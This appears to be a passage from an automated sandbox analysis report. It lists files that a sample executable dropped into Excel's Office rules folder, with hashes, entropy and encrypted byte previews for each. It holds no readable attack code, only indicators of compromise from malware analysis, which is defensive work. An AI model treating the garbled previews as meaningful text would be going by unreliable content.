C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224010v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	785
Entropy (8bit):	7.688643071601665
Encrypted:	false
SSDEEP:	24:MAwuAjb100HprIN75Swa0fVHBG0Xq8uWbD:Ifjb100J8Kwa0fVhbXFuED
MD5:	EA4A83940A6DA15BE9D28A97AEBF160B
SHA1:	5ADEE131BC6897F61DD59B3D3C667591BCB98E37
SHA-256:	83F91B6BA0C44EBF598E24018C068EBAA602150613D5A234932438D19C21990B
SHA-512:	B2A146BA6EFC9EC313BC999305FBC52EC36D2997B88BC767F9C9B501F4F610E2ADC7E8BC186CEC2AD8FD8A0085E6B81A940988917C334A1D27B09BA22CAFDBF5
Malicious:	false
Preview:	<?xml..D\|>.`.i.. =..{=.7..;w......y....+..Jd..m0.o..M.=.bh...k.Yf.p.K..6@.D...!.)....W..]).....K..L....m...8.[..5H..l$v>.BA".R...C...).>:".,...A.S.?..F.ot......F..N.Z=>C.el.."A."..nU....v;.@2YZ.C..;....x.p...gk...0.r.......J..~%...VKu.....%5.:....A.z O.X...h.u9F1h....Mm.".T...........{..._.=..lfb.lTL....E.....lZV..da[i.t...V...`..n.....l.N.Sg.....=....>J.78.9..-'......(.aA....`+....?...l.h3w.C..l... ..u.D.....$....<.\|z'V.ky_...:...2@z...I.h.v...\|.,..1C...."}.z3G..2..C.}B.J"A.....{.R.nO..C..]...,.QY.??,U.&...a.........@4:.S..$...p....E..m5T.1si.l.P...\|.n..>i.s=.S.v.Z.vt.......a.(z...3..q.....D....].LT..Vi....+...>.{].wW.<..k....6.//.d.R..m`..=.z..Wq.Q.._D...X0.Ndoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224011v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.860011660617008
Encrypted:	false
SSDEEP:	24:q8bOBktsQZQCaB+5VqRQ0dKj7EcyDdHc6M1vpw5I4i0+FR8N0ODTYaoUNRXq8uWX:pVsQZF5VqjdrDDtc6M1Bwe7TrPOP3oa5
MD5:	CA4407DB630690053F8495FDFDB07C45
SHA1:	94C0A3C859B8DD2F7F0B554E4FADE3AAC7E870EF
SHA-256:	50B0F7A4B33BC1ACCF961E030D4C8D64E2E7E33A111EEE91A4F0AD008ADECF47
SHA-512:	D3458878FE0667729884C8FB5A3E327B318ED8A5E3F55C6D8FD5DB47466E718485BCAAB1F3E13CA662E751B1AF4969540C7F544D78FA6FBB0DAA36C1F606A59F
Malicious:	false
Preview:	<?xml...1./qy.w....l%Sq;.........x......i.\kgb.4..pB(.R...O.sn...)..Ib".....V.k...T...d..s,.Qg.F..nm7..1....^.N....+.........A1..0...`.@..J....H...}......Ad..1.J.s....)..[2&o..mi..~7.D.'..X..gH...../......z8....%%..!..>s.q.F.\..^..a...s....C........{.D..)n.@...7.+./..ZC.e.....C..:..v.R.20G.\|.4.b]...q}.@......US.....F.x....W.!.I\|..).....,....).,&.. 4^oh6J5.. \|.@.E_.......h.v.8...?Z=.... m.^...b.W....E..I...q..a.6.g.....KC...5B...n.R)..Z7#'....].y..y..Zz..._..d..)..Ys.v4.L>.P.......c.M.]..e.p.]7.].../]}..yd.yH............c.+....Th...bW.AI..#o.lv..V.9N....>...{..z../n....+L'..'YF..e.WHx..X....II{.2.[."j..a.........p..k\.@......:m..NKs%.%q...c~}..9...MM.i.....0.~.=I.)...F...r.k}.......0.k5.7.7....<.Y.bEev..u.....:&..Y._..0T.2....r........q.....=.L.[.E.?^M...x.i.....p..(...e....q...t>f...Db..0.R?Ck.'.J..}...W..........1.r.......x....%=..s!?.1K1......i.`..6.....Vi......9.3..L...kH^v.....8.~.k.}@.....G..I3"[<..@.m.:d...c....ya.^..g......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224012v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.693939454656222
Encrypted:	false
SSDEEP:	12:XqZ/+Skykt/BQuzHmN6OBuqbcd89Y+0etz6gQnEwW/2AAgfJESoNaWiXqOTuWciD:XqZ/+Skykt5p7i6cFbcd89YdfEwxkqc5
MD5:	72C1B2BDCA49901FC7BA2C239E38B691
SHA1:	286547CF0FE73F82D9FB2F45B588C5316EAFACCB
SHA-256:	B090A1B65460FE8CD467F6EABE6E7BC6F43A0EA86A649CDA7281F78C32A9A518
SHA-512:	3325BC5CC16229514DD3F7C439E0A4BE8F1C24453C44379E01314ECBFC6C8166AEFEA7D938A2F6C2661EE41013109F89EE431141AC5A44351E999EB6EEA75A70
Malicious:	false
Preview:	<?xml...7.....=.7>.h.I..e.@ii....4A...r....4..P...$w.!.._..W....V{..rJ....+........Y].p^..v.o..............do..\|f.6.....'.E....G6....DV...\|.I.......XQ"_:..V3r.E...i..Ed=r.B'..R.d...uT'.........<.._..}....-X...N.".F&c.....jv.Z."..L.q....%.....D+._/.l......h+...y.s.F*..I.-.".F.y./fS..0.Ha6..%..7.r.x.Z....T..1.J..n./.tt.V.#.s....4. s..../.6.y....o...3...\..HB6......^._..."......G..#.I.q.>...!\|..j..C..."{....W#.AF. ...I.Q..s$.M..O.,.q9r..5...]T..-.p@...S.l...../C..r!d...Y....E..g.Y..l.?.NO.V.....w.-..jL...O.....;............^.........=.......?......e..M4.b....I..E.J...x.K!.X...u..'..P..2..W".sk....l......,....0.v....%.].AB+6q...9..k.vj..._\....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224013v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	7.826981293771597
Encrypted:	false
SSDEEP:	24:4xfzCBWyWGa9GTRQXaeaT4kJgxyRSlZz1Y1ybcCvWkZLG2qXq8uWbD:hBpLT+paT2PzEScFkJG3XFuED
MD5:	B2482E6A1F182DA6867E272B3C85B751
SHA1:	7EDC87FFA8663CFB53C446F9AA5359BBD5267061
SHA-256:	D66DF0A646609714E5AA04D7C4D3BF26F1DBFF1E53D8C311A1075EE736A72FEA
SHA-512:	98F18ACF3EAF795D0C0D4F996FBA63A9166C8D088C71003B4ECB209C93EE63F3DC7ECF9A2CE0779882712459A71DE356757AE7E2CC7FB7EEFE9C05376F78234A
Malicious:	false
Preview:	<?xml.=[.&Q.I...V.!6.<.e.n.h...v.L....s.."O....V..d./...Z..+.a.....`..`H^..E..>c.g.....C..f.O...-p....8.. .FU........d..\|.{...k'.R.E......k..F.}]^.qP.....@..".0.?[.]..$..cX..Z.X^"I..\|tA.e..,y.m..3.'5.r.....R..[.\|.dZ.'../..t..:..vM........$YC..<..4.;..F..^..e..\. o.0=5..$....n:....`...m..-%.&.j.z-....#.[.\u..@M.i.X...E...EC./.,..6..%....w.....x..m.....m..D..qA4;%..\.]@g..Xq).o#.......bj.O.2.qI..cn.,@....+.A.N..p.&.{..U"..(..\|)\}1..X...c.i.......n.TI.s...8@.p.X_.....>Z..z.N....4..3?A..#MA.xH...8...K.(!....vD.^5...).6@A.'z%.c1.<\}\|W..$.{H....&Mw .7..v...X.'.E=)....?.....i..&...{XY..`.&.Y.,.B....b.g8.....F...+.H...]^x.a..V..L...}..D..s.S............/..22.W)J..#...M5.._[?..)..#Q.....H..r...&m.....U.g.Ql.IYpy...#n%.W..N.Mj...;..K....5GAY.t.........c..6).}..'...)X......./..(X...`.c.eG^.Z....TIK..!..g./"F.^N+tP...fm....W....9.s..\9..F~Q.:;@.qn..M.@n.6.\|i........K..>.2.`.c...C..Z ......vs....9D._......j70..Z...&m.........E..@.g..s.6x.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224059v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1600
Entropy (8bit):	7.880846809117681
Encrypted:	false
SSDEEP:	24:hQ0CIsJzzdmh9cWsIHiig4wW6zXRGF1b5ANi4o1A4wbR5zyOY4WGxMXq8uWbD:h/EzUO9IhgbjXK1bmNi4oMjrUXFuED
MD5:	48D2566F64C5BEC4D0F2ECEF037303B9
SHA1:	158E88D20B36B2F22B9E7FE6C9B256E48C1395E0
SHA-256:	447FEB068C14876EE7BDCD1BA7978F919893FB65F5E0E5D44B266CA75384D671
SHA-512:	4C02BAE3DB650FED98DA99CBE9538FDFCA2560ECD7CFC989663BADF63F4098B48E8A1B07ADBD8AF94B4104A5C9B40FA00B260B724047126598A7452B29756EAA
Malicious:	false
Preview:	<?xml..Fi.4..1.f.1....=.f...t!.(..E3u...~L..Ce..M..l.x". ^6S....R+....J....\Va..!.\.!AWy.....{.^...y...F}...$v...B..-{...G.C....3.......M.M<.^p...Z.`b].D..[....X(.K...A..r.D.f.H.....5<}h..a\|.......If..d..;........F..`.......3..}.......M......D...v......!M#:.. .I$S.7.O.%...y....o.5.[......q...;...v$....>-t..k....J......j..;............L..$!}<...-..p cu..$L.I Oq{a..#..Q.}..........!peC.-..N..3;Y$A....Z$.z..........5Nm$V._...Q%.'......6....F4.}7.>H.e.X.A..Z.l._..I/..>.>..j.H.....aX\|....D)..x6w.k....=...Z9...F..'}..a1.....61....{...xh....j..qb.>Q2...K.D.OW..m....X..Z..E)......:.U&_yb.x(Y.n....GX.1.._.8J.....1Z.....!....u.....h.&[-.i.`...w.=..-..4_Y@.6D...C..;.......5.r.~2..7.(~`......A1./....3..(.........@...../..;.@.3...2"......9...(...p..J.Cw..x.,.Z......[.{).Hw&..w.w&..<...H6..G.D~....j.KN..=W..1......;.d..k......x..q.\|.m...J..P;.zs.B.y.y..w..p[X@..$:.XkAq.l5L..'rUAU.z..+..~.Y.e.8Y._:.\..^40G..My....%..?..........2..AM.Su...._Y/g..g

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224060v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2578
Entropy (8bit):	7.921159554040029
Encrypted:	false
SSDEEP:	48:TBEPAsH94FByN93M1+c37ROfLsrfiimGCZAvyieFTlIyb7Eq8KiFXFuED:iF94FBykn37RRwGHylT53EFuQ
MD5:	7CF587AC9C5376C2592A6F43D52DB751
SHA1:	01B33D759523365CBCE0627604E3A374C57ED557
SHA-256:	99DCF0726DF62E5621F7617B835AF2D7190A0D7814742891A113A6A153CC760A
SHA-512:	56E411E90E579DA9D9E765AC2F325E4E1207B0EB2DAF7064305CD46667B584DBC174F388C75CA2392703057F77E9EDBE32F97D000EB3D27C8498A3BB228DD76B
Malicious:	false
Preview:	<?xml6M..9.@h...X.H.......o..".c..@Z..T.h!..?."[..T.2.E...(....$.OH.....S.^.@X..fe....T..B-ea)......^.\..".Dq.....&.3r..A.8@3".........7E..B..q.eG..../.HY^'.g..E........D8s..k.=.FW1.t..k...}.."M..4O..c...S.?...Wy8.O........I.T..:.&an.....>......6.Z....[....PTO..Q[....D.UN(Z#.#.l.K......lU8....1(.Qy..Kxm..<......I.a...F....e..K9.!.5...7..YVY...g...,..Fw~.....;g.W.b....3.J=K.+...X.E...JE%i.(..%)...s$.m.....f....}..\..L..G.uD...P.x.}F..A"..f.......~.o4N......T.`.%,I..k\4...:.....z.,...7U...kZ.X.W.<.....Q{e.....Nn.........'}@.oH......K./.4w..f.a...a....bn....q%...\|cZ...1MY.g...G....KY,...X...%.M.....9....>........u.qD..V..f<h.n....x...i.Q.6.....:)3...?...S.u./.?c.An@}...d?[.T..N....n..%...[\...=s...4..D.~e...:... ..kY....j....1...h.dg.W..L#.P...MNXV.`w.......s#6.A..v.)..w...E.q.#.`..~......NVA..Q{........#..Qk_.f..r..[..@~..>..........=P.e.[...R.[[.....,4.A.a.v..R.t.o...........*.y.i....c....{B...8..pc....7.....Y..R..r.y)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224061v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1846
Entropy (8bit):	7.880660396555938
Encrypted:	false
SSDEEP:	48:XWmp0uQQM/nlo7VEMr919/FKWbM1CP/LKXFuED:Rp0uQQM/nloR919csiCHEFuQ
MD5:	384A27E6B04A0C4DF9133B0FE509C7AD
SHA1:	751CC45DBDA641DC33B2A5556BA632580976714D
SHA-256:	01A1CF1B95A58BC9ACD227709FF807F85672CC1485EB29DF4FAFD1CA7A4BD20B
SHA-512:	13E6AEDDE47DEB64B01C56B8524C734AB0F43DD77063014E244B76D412429323855225B1A88121FD37CEBD717F63D28B49531784FF048AFDC54EE5BBA46AE19E
Malicious:	false
Preview:	<?xml.I.-.rVU.H_..T.~....s....dn.:@l^.~C..I..y....rj..p..U%AR.....!x/..<.......o.y.%?...........3.Wi..87..r...FuLw.Z..L'.Ni.P%..c.......p..H..Hy...?..u>q.F..tG...On....;......?ie..&r.NG>....}z.".d...A-..x...^..0....I.~.d.rG....LQ.x.>..!.^..m....]....fZ..^v@.!i,?..U...+.=.[&e.C.....w6...I.TS.B.fXS..~+.}e.."F.1....M..X4...F...vT.d..?x...G?}gt..1j...p~..V.....'I........I\..2.,......j6..\...O.B7.o.n..q:P..K..e.............}.p.......N3aQ.g...7..I.x...j.7.E...\....A..5~...:....a;....s`..M.9.l.{.2......[2.:!4.G..7...!lx.}"."..,."C.q......,.t"..d;..!..}...Z..........V.{..cK_./.s_..S.q.?T*;.d..q..."3..Y..%.o..MMQ..x9...a..F.vs.=[,.W....;z...x.p.G_.{LHi.....^).^.Z.........&.5 .gNsJ./.l.M.....z"!..L...i.W-..fo.....C(.....W......EA........x8r..7.2.......s]...&g.j'g..$.p.B.H..Z....l?.........z9 .+..zb....!J$l..Z4]UE.,$.[.p...-.. i.w..I<)0<k.....UQ.8...Z.<...h....N3..y......f.X.(2...F....=.....]\|-TW?.!.1....:gr..[... ...@..$)..p"-.+;...q?.k.v.~E....>hDg..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224062v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.83346754555231
Encrypted:	false
SSDEEP:	24:0SstBe1TOVmHb+wAbSey5yEihhCFXRqitgc77Xq8uWbD:nsfe1TOVBwLEx2lXnXFuED
MD5:	85D6880A9727F864749487A846F2D66B
SHA1:	480F5905D5F302E78B85A96EF8EB2EE620BE9D9C
SHA-256:	7531CDE0A04B61C6DE01191B432C1F9EE9C95C6F567A2BD4468A1AE29AFCF36D
SHA-512:	046F864F9FCB7121663D89B999504B9607414C833DFFA3B2139E3AE3A998971C81053BE21E8F6EB45C6748A34A0D84C5920F986ECB9196588EA0635EC1DC2735
Malicious:	false
Preview:	<?xml.[.^.Z......Wr........q...N..R...8.f.i.V.Dj.)...kN.....j...e.....Y.P&O.2-...O,...QWO.y]..!OH.....\!.}8o.F...;./.[......9..$.]......W...A. ...d...7..di.o..n.._.5.8..5.h....H.aI.....4.1#.s?/r.2J..J.h~..`B,..d.}O+d.D.`\|.@[.$}.z./..=1.z..Z#(. e[.D.g.._.H....?..vx>.....x....R..z.4s~g...7.y.B.\|.t..*h..Y.v...&...N].6.......4....H.)8@.........O.....D\|[.ZchC.B.g..m...?.%2..=.d...=\|.>.`.".b.8>..eN@....)..........Dp......U.....]#...u$Wf.%..r2.<._y l...h.2/...,N...E..&....nj.m.......q....K..IU.RKT.(..@..\.<...Zcuv..oM..I.@.:...).<\&..m.,.......!..jKsOY.'=$.\|..[.?.....Ht....Xa.....J..j..Z.?{.. ..N..$.=i#]3..Wy..(.....hUo...{......T..Fsed.3.X......s......6.p..DB...}T(..K.....?!...O$..j...d.p.=.`.,v.\{b....yQ.2.....Q.. ....k..<7m..~../.O.'..z....P..fN.....q.2m+.]E.qPM.....p.....^..`...Y".(..+;......I..T..y......'',..6Km..[`Z....J......i......R..N..kc.2.v....`.)"=......(7....y.b7..~d..f..Y{R~..........A...?\|.....3....;\.kL..... .T).(<....u:..W..=......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224068v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2371
Entropy (8bit):	7.917136473831662
Encrypted:	false
SSDEEP:	48:TK+nM8m/PYuAThzLO5XjwKvw6V8lrESQJmWZl+xGYN6Kn2AXFuED:TRV+sXORjh7VNhl8GYN6Kn2WFuQ
MD5:	3444F88F00643D5EEFA1E781E92212E2
SHA1:	4C83C4D54CF54D58E622B5BF6384A71892DB84EF
SHA-256:	A078B541772EEEA30D063E31FC16C7BC0AFD8CB3EA0F729CBE9A82B8EBF576B9
SHA-512:	FBE2C5E9BFF39FDE8133282EFDCCA2C687ACAE98DC7C7A34D4C7CFAEC3A76D4FE86B06A35F00D3B4B72E7A3CC4D98D0D691F4392E137C4AA891C36E06B6B7887
Malicious:	false
Preview:	<?xml...a+i..<......(j.....a....$..Z.?......_iL.U...k..[.0.C.........M.L.;...#......O.J'8..O.V.}r..j..n.hW..o.^g.0.. (.:8..3b......W.u+..a....J......Rt.....$..!.r.F.:._.S._u.@..]..>#.)N..\|......i.i\.x..`.......5f"s.."eq.^.).3.&........X<eIx.....s..........G.C.Ao,.s@.....Hs2.T..x.P`.......Ymp)g....O...:X.1..[C.....{.q...F.@.\|{J.su..X......wr9...R&.E.I.........j.2..hb~....!}vv...v.4.....5.{..;..q.Q...7/..Jhz.'.&.A`.......`B...o.....fw._.pV.b.&"C...B.J.wu.vs..Gix....v....>...%.y......t..,....x9...dR.u.....g..N;.K.d.8........Wa..U....CR......9.Z.C<\|."...Q.....'.....y..>.:........JpM.......`..........(....` ..M...k..Rr?J....K...MG...:..."....U.$..i...C..k..."I......(4.'...6.).../.=.....O..P.;c.&3?...] .......k.&c.p....j....C...b.,..]...s....0......z.pZ(}.....DjC....r~..2..]...oh.......'.y.Q..."n.dd.f.o...].2.9d.).`~y$.7.z.s^.\%.yN.{.2.;..>..,..K.yn'..ux...R........P'M......y. .H...mi.G..d...n..[...w.c.j..:..............e..&..i/...K.%......=..J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224072v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.683899063187234
Encrypted:	false
SSDEEP:	12:Gq6ve1vMgpUqhPaGS7TETt8ZvrTrg92rymVWbMqj/EYu15GwXqOTuWcii9a:pCuvMSTiATtcrg9huWbB/8LzXq8uWbD
MD5:	0486ADF9A9AFEA1A0742ECA3B088A566
SHA1:	4D357BCE04DDD2A47A63AAA047F0CACBC082886F
SHA-256:	44D41737F2BED85512A12BB21A8974C2CA18AD71B4569705EF9A00095A682985
SHA-512:	6C7F63AED60A97BDAD3B35EFFEC9D10B09E78741C15F6581B08A6DF7B125BADFC60170892FFE1B7D7043C03C7B0BE12C9D007ADC56BF0832D5E4DAAF3B1FD105
Malicious:	false
Preview:	<?xml...yK...k.H...X.d..r....-0{7.7..%.....zz.#.^`.M.5.F.n}.y.@")...F..xi.J.2.p.qYg..}.....^.[.v[.......$.~.b.'i.iS.eG1..O.:.....Hb..IY.[.c_3E.C..Rq........^...Zl.\|.V-.\|..r...(.x...?W0....6Z...1Z.J.$...S9.]...nw..J,."...~b...7...h.. ..G......9.~.EEv.W.R..o@..:@."n.....8...l.:.^.].&d..'.>....4.....).>..~u...!..r4G7. ..2.~..4W.k........7..FM~u....Y.z....{y...pVJ\|.EW.ZR.. .^.C.Th..(...G".g.Uq......wH.n#(L{..z.X..g).".9......-S#...v.....g.=.A!..].U#.G2..vm..3...>z.-..^Sw.U.\|p..p,...x_....6...n.. -P.7.p.....o.t[@....f.....i.w...2...H(t..~..<.tlT>L.ur..!...C.e.A.. KE.o...S...fU.6C..&...A.:..;,..f...8..,..T.{is1..m...MT..t).N.`?x..C.k;.1??..%..,..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224073v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.736781887523886
Encrypted:	false
SSDEEP:	24:Kmmff3aSVRA5WmK9bcZyihfgI4vYC6gqELRMXq8uWbD:ofquG5RmMJhfgIMRL+XFuED
MD5:	160EE3B6CDBDBE1490F3E331D951E408
SHA1:	C0435C59AC8ACC6FE85AA18B8A42CE9ED84645B4
SHA-256:	4580BCC1E1003DE68A60056B583F8902F308EDDBBB9A7682BD69AEBDA0FD8DC0
SHA-512:	5E33D43874897C6944425B6DA3E243D5CECA4E19237491935F1E83874555190FE28D2079348A749CB75D1D7D19F3E0F9DB1929303E91FA3586A253E1300035CB
Malicious:	false
Preview:	<?xml>".....\|9F..0.....u.`:.q..[J..].(%J0...l....U.(.}\.+$....x.J...^......B..UG...fs.V.A..(.%...&.(.r3H4..\..p.u..u......7..!..L.d...AhwI.w.-.n...^.7...'.O..:.Fnp.>_.m.pg..;H.R.po.K.....Mv..;.>dO.....V..m...).L1...4p../..@.V..$!&......b....2...b.n ..Yb.[..su.h.{<O[.6...XP.z~1..s.~.A.YZ.u......<.:.h..).]-.d...V.C.._N.V.F..~fD.U.(`.m..9.e.<......u... .`J....h.._W..T2<.l....;...:.........b...J?..scl...ri..I..xE..c...E.b..:..L.e.M....[.U)[/SM..1vfUa.v{.^.4V7_....$.>.^..tL.-...\n..&..Y+..r5`...O...K%.2.....d.?\.oa...N..f.& .v.........-../8ad.`..5.......n.?...F8..Dx....Lc.S[.w..M.\.W.....&..zz.Y..B.3z.n...mGH.?....c..,.d....p...cj.6.)....OT+J.L_...\|D.g.k....C.....d......X(.....:.1...p l.t...x_$...Tdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224074v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.744509773311327
Encrypted:	false
SSDEEP:	24:IqAUntf5vOiksQ4s3dudjXXZmnPXq8uWbD:IzUnttLQ4IudrJmPXFuED
MD5:	877612202A138117E965B52C86E63682
SHA1:	57FA70805558E52E557A7EDB25F1E6EFB847F067
SHA-256:	11F799F3A106272DA89DDBA5327AA58B8FA92922BF268B87AECCB646F7B5A719
SHA-512:	AE4279889261655612ECE05EDFC78F2B7153039E9B7376AA89EC9ED0D4C7A9B10DB8BD64A0A1E258FE84A3FCEE01575BE0CF26B067CACAC5E853BD7719C39E8B
Malicious:	false
Preview:	<?xmlB...;.ZEN0.I..?....1./..f&.mQ. NU...\!......@........o=......e\|...f..a.HR...z..j.'..X<...2d6..uup....?...3.t......,q..f.d..X.S......Y.......a..@p.......P.h......-.9=..M.Q..&.....:j...(<vLM"...g..p\..I.W....0...L......h.D......=\....~.%X(...L.-...KY.5.f..Gy.I..[.f)...>..........A....._....5.V...G..+...OR.U+T.J.4j/g...Swq..,6........+...]zU.Pz.......>....(\B.C.0....-(.....<_....<!.6(............IAN..(.](..^..Y..(~.`Dm.[.g.....L&..Y\..........6_.b...\[J....;...m.@..#.....J...f..J.M:.`s.........\|.:.5J...... G...\|...sI.eH.7r(.av....G...D\|).X.+X....8%^..k...N/..._BT.@y^...a.\K..<y...n.!!Q...e......6.....F..S..p.......`G(..2.s._1..G..m.9...H.y.[5r..<\\.....-l..E}[.Y..(NMAm.....&......x..4.pdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224075v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1494
Entropy (8bit):	7.854548912886697
Encrypted:	false
SSDEEP:	24:x84Kjc7WJMXH5WN8cZYQJM+sH9zL6CBkioXxchC8KMZZDwUpulp5l6iJ4AXq8uWX:x8xm/8NZYWw9zOfXWVd5wASLJ4AXFuED
MD5:	34045F7977753B5B399DDBEA37624674
SHA1:	AAF2626DC3F419DD55BD22D120026A87E58BC5CF
SHA-256:	CF809226CFC0BDA120776E03E6A2BFECCDCC1E0073B05C3DAB0EEFD18B903359
SHA-512:	6BF710C870D8A160B45CE75137720FC184EE76447BCC6AE12150FD88C1EBABD689A74EF19F65160CFB9180216BA74C436E46E36F81530009F541D5F9D7BD2B2A
Malicious:	false
Preview:	<?xml...e....\`O...8..''G....a.1.'.'e..<.2......H.J.!..U....../R#..ZE[]J.}c..H..H.....Z&<l.G....tX..$.e....D7.S.....{...........l.6..{;.#........g..N-..R#..'R4.}..b6...c..E?.K(.M[%.....F.G._.PE.r......D.i...s..N...7\6=...bd...O..V\..2mF...,xbR/.x.G...\|..BE8OI9^Z....X. YC..~....x......./+aY./%..7&.w........LV).%...N.\-.\|..GP..b./.7z.^c.g...l.).X...J......C.Pf...lJ..[...M.r...hw.i>/.....\|........s.O...%WF6..d.1...2.*.......Fc&.H.j........20.:..RG.........\.u..W..^s..L2Q.p...H.W.},.v....L.l....=.e'0.lIwo.AS.&K...s'...?.~....S\|Mx-7..x..X..O..En..Q.....By...]oi(...3...q.N........9..O..A P...I......A.\|)....P.r............#..8...3..c.82.D=..t.p..DI.c]....7..g._..HgjdX...h.....#...t..X.)Q.vf.t.Rk_.W..#o.lAw.#Hf.t.^l{e.l...^.}......'.qPsg..x.....b]....7.5Uj.yj..3...yl{..../lan.G<.IU..P.9.#P9...7..QGZ....j?.\|..l.................+."..U];.....v.2..'Zf.=g.................^fa...@q.......>..y.@h8.[...:=6.:EG.....2..g.+n._..D_...u2..$$8(.7`..}.-=...."e.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224082v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	7.729523389317394
Encrypted:	false
SSDEEP:	24:Y7+BBhF+6+LIwt2OIhg05rgUl9Ka7PsTAXq8uWbD:YaBBzWIwrIht9wePsTAXFuED
MD5:	5ACB36A537319901520B39539E0C6A9A
SHA1:	44F73BC7B3BC5DCC23EEBB6E82ABC64326268794
SHA-256:	38995DA1C6FB228717207D45F035DCB930977D1098BB16FBA0A19E632924CFD7
SHA-512:	25F9DE44551B4460DDE3E017BB9B91C2D9855B47236A37412F188570A029258A85940CF8470857F7F637CDEA59D18BFD03E1E416B72F54D35495CE3B1BE6D600
Malicious:	false
Preview:	<?xml.t..z.,...%....xK.t&..`].Wh]O...wt.O..p>.i..(..{.I7.L..5....k....1H..)J.W.".pQ.~IF...}.F..:N.......2...].gk_.+T...CmP....0$\|.s....LB...yj....Bp.l9RS$A.g.4K.Z"......i}.u..>...}f..~.^..W.[....f.y.6.../..cq. .UI.K......i.0..^..&.K_...EQ./..?..iP.k\|'`..5..BB..F.]...o.-XN..RW\...XH~_.bA~...V]..h.x..........Dwo$G....6....1.Zw.I.D..\...a..C.y....b0JG...P+.t.c..X.H......G...W.....X;....W\.....5....LFCPI....V........}...\|...%C...r^...6./.L.....v8......x..a...f.......R.......&.........!.... i<y..uF..........]..}.m..e.9'...gL...?g7P'_+.l*.Y.1b..Qk....r](1r..S...}.g....u.{.........].\xu...!.?.....{M.<L.6z..Y^F.{Ke^%...e{.p..%^O..<.....'x....@z....<J.B..L..R..zE&l.......TC!4,.&. ;.".C...^%.v..`.f&...H>..H!.P.m7doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224083v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1163
Entropy (8bit):	7.829746679844993
Encrypted:	false
SSDEEP:	24:Y0gJr9/ibptWCkRrBwBtPagBUujA3UdtUpJZz0AbVOXNIa6UeXq8uWbD:7gJx/ib3WCUFUSgleNDZFbVq7eXFuED
MD5:	E1D6AD4856B07D6DC999407CDA4799E6
SHA1:	3CE4AF9F7784EE31FA877E754E6E52354E23B84C
SHA-256:	DF0EFAF9329EC36B8243B7CF99902421C084D42BDF8FB5AC02E3ED403EAFE494
SHA-512:	569771AE0FBB65649CB3D02748F02CDC539FDC5435DFBB0CDD396AF83AE8C101567A3B5B2DCBC025094579CD896C6CE6D8BB150790C1A336D1B6D9FB686ABB88
Malicious:	false
